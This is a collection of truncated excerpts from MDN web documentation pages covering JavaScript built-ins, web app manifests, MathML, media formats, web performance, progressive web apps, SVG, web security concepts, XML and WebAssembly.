globalThis - JavaScript
this way. The globalThis property provides a standard way of accessing the global this value (and hence the global object itself) across environments. Unlike similar properties such as window and self, it's guaranteed to work in window and non-window contexts. In this way, you can access the global object in a consistent manner without having to know which environment the code is being run in.To help you remember the name, just remember that in global scope the this value is globalThis. HTML and the WindowProxy In many engines globalThis will be a reference to the actual global object, but in web browsers, due to iframe and cross-window security considerations, it references a Proxy around the actual global object (which you can't directly access). This distinction is rarely relevant in com...
parseInt() - JavaScript
0x or 0X, in which case a radix of 16 is assumed. This differs from ECMAScript 3, which merely discouraged (but allowed) octal interpretation. Many implementations have not adopted this behavior as of 2013. And, because older browsers must be supported, always specify a radix. A stricter parse function It is sometimes useful to have a stricter way to parse integers. ...
Standard built-in objects - JavaScript
s. The iterable collections (Map and Set) contain elements which are easily iterated in the order of insertion. Map Set WeakMap WeakSet Structured data These objects represent and interact with structured data buffers and data coded using JavaScript Object Notation (JSON). ArrayBuffer SharedArrayBuffer Atomics DataView JSON Control abstraction objects Control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example). Promise Generator GeneratorFunction AsyncFunction Reflection Reflect Proxy Internationalization Additions to the ECMAScript core for language-sensitive functionalities. Intl Intl.Collator Intl.DateTimeFormat Intl.ListFormat Intl.NumberFormat Intl.PluralRules Intl.RelativeTimeFor...
super - JavaScript
r(); } foo() { super.prop = 2; // Cannot overwrite the value. } } var y = new Y(); y.foo(); // TypeError: "prop" is read-only console.log(y.prop); // 1 Using super.prop in object literals Super can also be used in the object initializer / literal notation. In this example, two objects define a method. In the second object, super calls the first object's method. This works with the help of Object.setPrototypeOf() with which we are able to set the prototype of obj2 to obj1, so that super is able to find method1 on obj1. var obj1 = { method1() { console.log('method 1'); } } var obj2 = { method2() { super.method1(); } } Object.setPrototypeOf(obj2, obj1); obj2.method2(); // logs "method 1" Specifications Specification ECMAScript (ECMA-262)...
void operator - JavaScript
oduce a value into places where an expression that evaluates to undefined is desired. The void operator is often used merely to obtain the undefined primitive value, usually using "void(0)" (which is equivalent to "void 0"). In these cases, the global variable undefined can be used. It should be noted that the precedence of the void operator should be taken into account and that parentheses can help clarify the resolution of the expression following the void operator: void 2 == '2'; // (void 2) == '2', returns false void (2 == '2'); // void (2 == '2'), returns undefined Examples Immediately Invoked Function Expressions When using an immediately-invoked function expression, void can be used to force the function keyword to be treated as an expression instead of a declaration. void fun...
yield - JavaScript
If an optional value is passed to the generator's next() method, that value becomes the value returned by the generator's current yield operation. Between the generator's code path, its yield operators, and the ability to specify a new starting value by passing it to Generator.prototype.next(), generators offer enormous power and control. Unfortunately, next() is asymmetric, but that can't be helped: It always sends a value to the currently suspended yield, but returns the operand of the following yield. Examples Using yield The following code is the declaration of an example generator function. function* countAppleSales () { let saleList = [3, 7, 5] for (let i = 0; i < saleList.length; i++) { yield saleList[i] } } Once a generator function is defined, it can be used by con...
with - JavaScript
tches a property in the scope chain, then the name is bound to the property and the object containing the property. Otherwise a ReferenceError is thrown. Using with is not recommended, and is forbidden in ECMAScript 5 strict mode. The recommended alternative is to assign the object whose properties you want to access to a temporary variable. Performance pro & contra Pro: The with statement can help reduce file size by reducing the need to repeat a lengthy object reference without performance penalty. The scope chain change required by 'with' is not computationally expensive. Use of 'with' will relieve the interpreter of parsing repeated object references. Note, however, that in many cases this benefit can be achieved by using a temporary variable to store a reference to the desired object. ...
JavaScript typed arrays - JavaScript
. As you may already know, Array objects grow and shrink dynamically and can have any JavaScript value. JavaScript engines perform optimizations so that these arrays are fast. However, as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth, it has become clear that there are times when it would be helpful for JavaScript code to be able to quickly and easily manipulate raw binary data. This is where typed arrays come in. Each entry in a JavaScript typed array is a raw binary value in one of a number of supported formats, from 8-bit integers to 64-bit floating-point numbers. However, typed arrays are not to be confused with normal arrays, as calling Array.isArray() on a typed array returns false...
description - Web app manifests
String Mandatory No The description member is a string in which developers can explain what the application does. description is directionality-capable, which means it can be displayed left to right or right to left based on the values of the dir and lang manifest members. Examples Simple description in left-to-right language: "description": "Awesome application that will help you achieve your dreams." description in Arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "description": ".????? ???? ??????? ??? ????? ??????" Specification Specification Status Comment Feedback Web App ManifestThe definition of 'description' in that specification. Working Draft Initial definition. ...
dir - Web app manifests
Web › Manifest › dir
The dir member can be set to one of the following values: auto -- text direction is determined by the user agent ltr -- left to right rtl -- right to left The directionality-capable members are: name short_name description Note: If the value is omitted or set to auto, the browser will use the Unicode bidirectional algorithm to make a best guess about the text's direction. ...
<mrow> - MathML
Web › MathML › Element › mrow
<mrow> element is used to group sub-expressions, which usually contain one or more operators with their respective operands (such as <mi> and <mn>). This element renders as a horizontal row containing its arguments. When writing a MathML expression, you should group elements within an <mrow> in the same way as they are grouped in the mathematical interpretation of the expression. Proper grouping helps the rendering of the expression in several ways: It can improve the display by possibly affecting spacing. It allows for more intelligent line-breaking and indentation. It simplifies the interpretation of the expression by automated systems such as computer algebra systems and audio renderers. Attributes class, id, style Provided for use with stylesheets. dir Overall directionality ...
Examples - MathML
Pythagorean Theorem Small example showing a proof of the Pythagorean Theorem. Deriving the Quadratic Formula Outlines the derivation of the Quadratic Formula. ...
MathML documentation index - MathML
Web › MathML › Index
oring MathML Beginner, MathML, MathML Project This page explains how to write mathematics using the MathML language. Just like HTML, MathML is described with tags and attributes. HTML becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, WYSIWYG editors and other Content Management Systems to help writing Web pages. 3 Examples Beginner, Example, Guide, MathML, NeedsBeginnerUpdate Below you'll find some examples you can look at to help you to understand how to use MathML to display increasingly complex mathematical concepts in Web content. 4 MathML: Deriving the Quadratic Formula Beginner, Education, Example, Guide, HTML5, MathML, NeedsBeginnerUpdate ...
Autoplay guide for media and Web Audio APIs - Web media technologies
e.media"> </iframe> Example: Disabling autoplay Setting the autoplay feature policy to 'none' disables autoplay entirely for the document or <iframe> and all nested frames. The HTTP header is: Feature-Policy: autoplay 'none' Using the <iframe>'s allow attribute: <iframe src="mediaplayer.html" allow="autoplay 'none'"> </iframe> Best practices Tips and recommended best practices to help you make the most of working with autoplay are offered here. Handling autoplay failure with media controls A common use case for autoplay is to automatically begin to play a video clip that goes along with an article, an advertisement, or a preview of the page's main functionality. To autoplay videos like these, you have two options: don't have an audio track, or have an audio track but configu...
Web audio codec guide - Web media technologies
get the job done, even if it's not the ideal choice, as long as you choose a codec not specifically designed for a totally different kind of source audio. Choosing a voice-only codec and trying to use it for music will not give you usable results, for instance. Some codecs may limit compatibility, however, and others may be more optimal for your needs than others. Here we'll provide guidance to help you select an appropriate codec for your use case. When choosing a codec to use for your audio, you should first consider the following questions: Will the encoded audio be getting remixed or recompressed? If so, avoid lossy compression, which would be compounded by recompressing the audio; or at least use as little compression as possible. If the audio needs to go into a specific file type,...
Image file type and format guide - Web media technologies
Common image file types There are many image file formats in the world. However, the ones listed below are generally recognized as usable on the Web, though BMP is generally not recommended as browser support is potentially constrained; it should usually be avoided for web content. ...
Codecs used by WebRTC - Web media technologies
it. It's used by Google Talk, QQ, and other instant messaging clients and is specifically designed for voice transmissions which are encapsulated within an RTP stream. While it's not a mandatory codec, Safari and Chrome support it. Firefox and Edge do not. Comfort noise (CN) is a form of artificial background noise which is used to fill gaps in a transmission instead of using pure silence. This helps to avoid a jarring effect that can occur when voice activation and similar features cause a stream to stop sending data temporarily--a capability known as Discontinuous Transmission (DTX). In RFC 3389, a method for providing an appropriate filler to use during silences. Comfort Noise is used with G.711, and may potentially be used with other codecs that don't have a built-in CN feature. Opus, f...
Media type and format guide: image, audio, and video content - Web media technologies
Web › Media › Formats
d how-tos Learning: Video and audio content This tutorial introduces and details the use of media on the web. Handling media support issues in web content In this guide, we look at how to build web content that maximizes quality or performance while providing the broadest possible compatibility, by choosing media formats wisely, and offering fallbacks and alternate formats where it would be helpful. Other topics Media Capabilities API The Media Capabilities API lets you discover the encoding and decoding capabilities of the device your app or site is running on. This lets you make real-time decisions about what formats to use and when. ...
Using images in HTML - Web media technologies
Web › Media › images
...
Web media technologies
e, and manage audio, video, and other media has grown at an increasing pace. Today, there are a large number of APIs available, as well as HTML elements, DOM interfaces, and other features that make it possible to not only perform these tasks, but use media in tandem with other technologies to do truly remarkable things. This article lists the various APIs with links to documentation you may find helpful in mastering them. References HTML These articles cover HTML features for media developers. <audio> The <audio> element is used to play audio in a Web context. These can be used invisibly as a destination for more complex media, or with visible controls for user-controlled playback of audio files. Accessible from JavaScript as HTMLAudioElement objects. <video> The <video> element is...
OpenSearch description format
.com/mysearchdescription.xml" /> Note: At this time, addons.mozilla.org (AMO) doesn't support automatic updating of OpenSearch plugins. If you want to put your search plugin on AMO, remove the auto-updating feature before submitting it. Troubleshooting Tips If there is a mistake in your Search Plugin XML, you could run into errors when adding a discovered plugin. If the error message isn't be helpful, the following tips could help you find the problem. Your server should serve OpenSearch plugins using Content-Type: application/opensearchdescription+xml. Be sure that your Search Plugin XML is well formed. You can check by loading the file directly into Firefox. Ampersands (&) in the template URL must be escaped as &amp;, and tags must be closed with a trailing slash or matching end tag.
Animation performance and frame rate - Web Performance
ownloading the file size fast enough to not negatively impact performance is the greatest issue. Code based animations, be it CSS, SVG, <canvas>, webGL or other JavaScript animations, can cause performance issues even if the bandwidth footprint is small. These animations can consume CPU and/or cause jank. While performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose problems when they occur. Users expect all interface interactions to be smooth and all user interfaces to be responsive. Animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly. Responsive user interfaces have a fram...
Populating the page: how browsers work - Web Performance
Overview Fast sites provide better user experiences. Users want and expect web experiences with content that is fast to load and smooth to interact with. ...
Recommended Web Performance Timings: How long is too long? - Web Performance
to do so within 100ms, preferably within 50ms. 50ms seconds feels immediate. The acknowledgment of user interaction should often feel immediate, such as a hover or button press, but that doesn't mean the completed response should be instantaneous. While a slower than 100ms reaction may create a disconnect between the user interaction and the response, a 100 to 200ms transition for a response may help the user notice the response their interaction initiated, such as a menu opening. If a response takes longer than 100ms to complete, provide some form of feedback to inform the user the interaction has occurred. ...
Performance budgets - Web Performance
current state of your site, and pinpoint optimizations or unnecessary code. However, you should have multiple budgets and be dynamic. They are meant to reflect your ongoing goals but allow risks and experiments. For example, you may introduce a feature that increases overall load time but attempts to increase user engagement. (i.e. How long a user stays on a page or site). A performance budget helps you protect optimal behavior for your current users while enabling you to tap into new markets and deliver custom experiences. ...
Using dns-prefetch - Web Performance
an attempt to resolve domain names before resources get requested. This could be a file loaded later or link target a user tries to follow. Why use dns-prefetch? When a browser requests a resource from a (third party) server, that cross-origin's domain name must be resolved to an IP address before the browser can issue the request. This process is known as DNS resolution. While DNS caching can help to reduce this latency, DNS resolution can add significant latency to requests. For websites that open connections to many third parties, this latency can significantly reduce loading performance. dns-prefetch helps developers mask DNS resolution latency. The HTML <link> element offers this functionality by way of a rel attribute value of dns-prefetch. The cross-origin domain is then specified i...
How to make PWAs installable - Progressive web apps (PWAs)
eature of their browser. For more information on a2hs, be sure to read our Add to Home screen guide. Browser support is currently limited to Firefox for Android 58+, Mobile Chrome and Android Webview 31+, and Opera for Android 32+, but this should improve in the near future. Now let's move to the last piece of the PWA puzzle: using push notifications to share announcements with the user, and to help the user re-engage with your app. Previous Overview: Progressive Next ...
Graphic design for responsive sites - Progressive web apps (PWAs)
In 1996, many people involved in building the Web would have laughed at you if you had told them that less than 20 years in the future we would be developing web sites that worked well on mobile phones, tablets, TVs, even cars and home lighting. But today it is very much a reality. This article provides a high level discussion aimed at helping you to choose the best option for your graphical needs. Textual content is not a problem, as text boxes are innately responsive, but the picture starts to get ugly when you start including graphics and complex layouts on your pages -- especially when those graphics and layouts need to adapt to different displays! This is why we have included an entire docs section covering each of these topics (the one you are currently in, and app layout.) I...
Mobile first - Progressive web apps (PWAs)
built-in features to: Include an install button that works for Firefox OS, Firefox Aurora, Chrome and iOS app installs (as explained on the Install GitHub page). To make the install button work, all you have to do is put a <button> on the page with an ID of install-btn. Magic! Selectively include JavaScript libraries according to media query and feature tests (require.js is built in, which is helpful and very easy to use.) HTML structure For this example app, the HTML structure is going to be very simple: I am just including a heading, navigation menu and filler text to highlight the fact that articles can get very long on narrow screen devices. Our HTML looks like this: <article> <nav> <ul> <li><a href="#">Home</a></li> <li><a href="#">Articles</a></li> <li><a ...
Responsive Navigation Patterns - Progressive web apps (PWAs)
The following present several ways to handle navigation on large and small screens. Top and left navigation menus are common on larger screens, but are often not the optimal way to present information on small screens because of the reduced screen real estate. Therefore, it is necessary to consider the presentation of content and ease of navigation for all screen sizes. Note: HTML/CSS for the corresponding patterns will be available soon. Pattern 1: Top toggle menu In this pattern, as the screen width is reduced, the top navigation items rearrange until there is not enough space. At that point, some items move from the top navigation to a drop-down menu. ...
Progressive web apps (PWAs)
hey offer over regular web apps.Making PWAs work offline with Service workersIn this article we took a simple look at how you can make your PWA work offline with service workers. Be sure to check out our further documentation if you want to learn more about the concepts behind the Service Worker API and how to use it in more detail. Progressive loadingIn previous articles we covered APIs that help us make our js13kPWA example a Progressive Web App: Service Workers, Web Manifests, Notifications and Push. In this article we will go even further and improve the performance of the app by progressively loading its resources.Progressive web app structureNow that we know the theory behind PWAs, let's look at the recommended structure of an actual app. We will start with analyzing the js13kPWA app...
cursor - SVG: Scalable Vector Graphics
Web › SVG › Attribute › cursor
ri> notation. As a presentation attribute, it also can be used as a property directly inside a CSS stylesheet, see css cursor for further information. Usage context Categories Presentation attribute Value [[<funciri>,]* [ auto | crosshair | default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize| text | wait | help ]] | inherit Animatable Yes Normative document SVG 1.1 (2nd Edition) <FuncIRI> Functional notation for a reference. The syntax for this reference is the same as the css uri. Elements The following elements can use the cursor attribute Container elements >> Graphics elements >> Browser compatibility The compatibility table on this page is generated from ...
xlink:title - SVG: Scalable Vector Graphics
The xlink:title attribute is used to describe the meaning of a link or resource in a human-readable fashion. The use of this information is highly dependent on the type of processing being done. It may be used, for example, to make titles available to applications used by visually impaired users, or to create a table of links, or to present help text that appears when a user lets a mouse pointer hover over a starting resource. Note: New content should use a <title> child element rather than a xlink:title attribute. These elements are using this attribute: <a>, <altGlyph>, <animate>, <animateColor>, <animateMotion>, <animateTransform>, <color-profile>, <cursor>, <feImage>, <filter>, <font-face-uri>, <glyphRef>, <image>, <linearGradient>, <mpath>, <pattern>, <radialGradient>, <script>, <s...
SVG Attribute reference - SVG: Scalable Vector Graphics
Web › SVG › Attribute
SVG elements can be modified using attributes that specify details about exactly how the element should be handled or rendered. Below is a list of all of the attributes available in SVG along with links to reference documentation to help you learn which elements support them and how they work. SVG attributes A to Z A accent-height accumulate additive alignment-baseline allowReorder alphabetic amplitude arabic-form ascent attributeName attributeType autoReverse azimuth B baseFrequency baseline-shift baseProfile bbox begin bias by C calcMode cap-height class clip clipPathUnits clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering contentScriptType contentStyleType cursor cx cy D d decelerat...
<discard> - SVG: Scalable Vector Graphics
Web › SVG › Element › discard
The <discard> element may occur wherever the <animate> element may. ...
Basic Transformations - SVG: Scalable Vector Graphics
Actually, that's its only purpose. An example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> All following transformations are summed up in an element's transform attribute. Transformations can be chained simply by concatenating them, separated by whitespace. ...
Filter effects - SVG: Scalable Vector Graphics
<< PreviousNext >> There are situations, where basic shapes do not provide the flexibility you need to achieve a certain effect. Drop shadows, to provide a popular example, cannot be created reasonably with a combination of gradients. Filters are SVG's mechanism to create sophisticated effects. A basic example is to add a blur effect to SVG content. While basic blurs can be achieved with the help of gradients, the blur filter is needed to do anything beyond. Example Filters are defined by <filter> element, which should be put in the <defs> section of your SVG file. Between the filter tags, goes a list of primitives, basic operations that build on top of the previous operations (like blurring, adding a lighting effect, etc). To apply your created filter on a graphic element, you set the ...
Introduction - SVG: Scalable Vector Graphics
fication that you are using along with SVG (that is, JavaScript or CSS). SVG is supported in all modern browsers and even a couple versions back in some cases. A fairly complete browser support table can be found on Can I use. Firefox has supported some SVG content since version 1.5, and that support level has been growing with each release since. Hopefully, along with the tutorial here, MDN can help developers keep up with the differences between Gecko and some of the other major implementations. Before starting you should have a basic understanding of XML or another markup language such as HTML. If you are not too familiar with XML, here are some guidelines to keep in mind: SVG elements and attributes should all be entered in the case shown here since XML is case-sensitive (unlike HTML)...
Paths - SVG: Scalable Vector Graphics
Web › SVG › Tutorial › Paths
rcles that could be chosen, and the actual path is undefined. It's possible to approximate them by making the start and end points of the path slightly askew, and then connecting them with another path segment. ...
SVG Filters Tutorial - SVG: Scalable Vector Graphics
ws us to use similar tools as the bitmap description language such as the use of shadow, blur effects or even merging the results of different filters. With the filter element <filter> it is possible to add these effects and later on attach them to an object. Filters act like layers. When creating them, try applying and testing the effect step by step. This element has different attributes that help us create the clipping region. Between the filter tags, we can define the primitives that allow us to implement the desired effect. One of these primitives is the feGaussianBlur. The keyword SourceAlpha identifies the input for this primitive, is in this case input 'in'. The amount of blur to be applied is done using the stdDeviation attribute. SVG filter example <defs> <filter id="drop-shado...
SVG fonts - SVG: Scalable Vector Graphics
e of @ glyph --></glyph> <!-- more glyphs --> </font> We start with the <font> element. This bears an id attribute, to enable it to be referenced via a URI (see below). The horiz-adv-x attribute determines how wide a character is on average compared to the path definitions of the single glyphs. The value 1000 sets a reasonable value to work with. There are several accompanying attributes that help further define the basic glyph-box layout. The <font-face> element is the SVG equivalent of the CSS @font-face declaration. It defines basic properties of the final font such as weight, style, etc. In the example above the first and most important to be defined is font-family, the value of which can then be referenced in CSS and SVG font-family properties. The font-weight and font-style attribut...
SVG Tutorial - SVG: Scalable Vector Graphics
Web › SVG › Tutorial
Kit browsers, Internet Explorer and other browsers. This tutorial aims to explain the internals of SVG and is packed with technical details. If you just want to draw beautiful images, you might find more useful resources at Inkscape's documentation page. Another good introduction to SVG is provided by the W3C's SVG Primer. The tutorial is in an early stage of development. If you're able, please help out by chipping in and writing a paragraph or two. Extra points for writing a whole page! Introducing SVG from Scratch Introduction Getting Started Positions Basic Shapes Paths Fills and Strokes Gradients Patterns Texts Basic Transformations Clipping and masking Other content in SVG Filter effects SVG fonts SVG Image tag Tools for SVG SVG and CSS The following topics are mor...
SVG: Scalable Vector Graphics
Web › SVG
Scalable Vector Graphics (SVG) are an XML-based markup language for describing two-dimensional based vector graphics. As such, it's a text-based, open Web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including CSS, DOM, JavaScript, and SMIL. SVG is, essentially, to graphics what HTML is to text. SVG images and their related behaviors are defined in XML text files, which means they can be searched, indexed, scripted, and compressed. Additionally, this means they can be created and edited with any text editor or with drawing software. ...
How to fix a website with blocked mixed content - Web security
TTPS instead of HTTP. For your own domain, serve all content as HTTPS and fix your links. Often, the HTTPS version of the content already exists and this just requires adding an "s" to links - http:// to https://. However, in some cases, the path may just be incorrect to the media in question. There are online as well as offline tools (depending on your operating system) such as linkchecker to help resolve this. For other domains, use the site's HTTPS version if available. If HTTPS is not available, you can try contacting the domain and asking them if they can make the content available via HTTPS. ...
Referer header: privacy and security concerns - Web security
site request forgery (CSRF) protection). helmetjs referrer-policy -- middleware for setting Referrer-Policy in Node.js/Express apps (see also helmetjs for more security provisions). Policy and requirements It would make sense to write a set of security and privacy requirements for your project team(s) that specify usage of such features to mitigate the associated risks. You should enlist the help of a web security expert to write these requirements, and consider both user needs and welfare, as well as other issues like policy and regulation enforced by legislation such as the EU General Data Protection Regulation (GDPR). ...
Same-origin policy - Web security
Definition of an origin Two URLs have the same origin if the protocol, port (if specified), and host are the same for both. You may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
Subresource Integrity - Web security
ovide a cryptographic hash that a fetched resource must match. Note: For subresource-integrity verification of a resource served from an origin other than the document in which it's embedded, browsers additionally check the resource using Cross-Origin Resource Sharing (CORS), to ensure the origin serving the resource allows it to be shared with the requesting origin. How Subresource Integrity helps Using Content Delivery Networks (CDNs) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth. However, using CDNs also comes with a risk, in that if an attacker gains control of a CDN, the attacker can inject arbitrary malicious content into files on the CDN (or replace the files completely) and thus can also poten...
Types of attacks - Web security
ct or Lax. (See SameSite cookies above). In supporting browsers, this will have the effect of ensuring that the session cookie is not sent along with cross-site requests and so the request is effectively unauthenticated to the application server. Both CSRF tokens and SameSite cookies should be deployed. This ensures all browsers are protected and provides protection where SameSite cookies cannot help (such as attacks originating from a separate subdomain). For more prevention tips, see the OWASP CSRF prevention cheat sheet. Man-in-the-middle (MitM) A third party intercepts traffic between a web server and a client (browser), and impersonates the web server in order to capture data (such as login credentials or credit card information). The traffic is passed through, possibly with alterati...
XML introduction - XML: Extensible Markup Language
ch as HTML. This makes XML incredibly versatile. <?xml-stylesheet type="text/xsl" href="transform.xsl"?> Recommendations This article is obviously only a very brief introduction to what XML is, with a few small examples and references to get you started. For more details about XML, you should look around on the Web for more in-depth articles. Learning the HyperText Markup Language (HTML) will help you better understand XML. ...
An Overview - XSLT: Extensible Stylesheet Language Transformations
An XSLT stylesheet is an XML document. Unlike CSS, which has its own specialized syntax, an XSLT stylesheet is an XML document, which must conform to all XML rules, including well-formedness. ...
Using the WebAssembly JavaScript API - WebAssembly
age. Note: You can find the sample code in our webassembly-examples GitHub repo. Preparing the example First we need a wasm module! Grab our simple.wasm file and save a copy in a new directory on your local machine. Next, let's create a simple HTML file called index.html in the same directory as your wasm file (can use our simple template if you haven't got one easily available). ...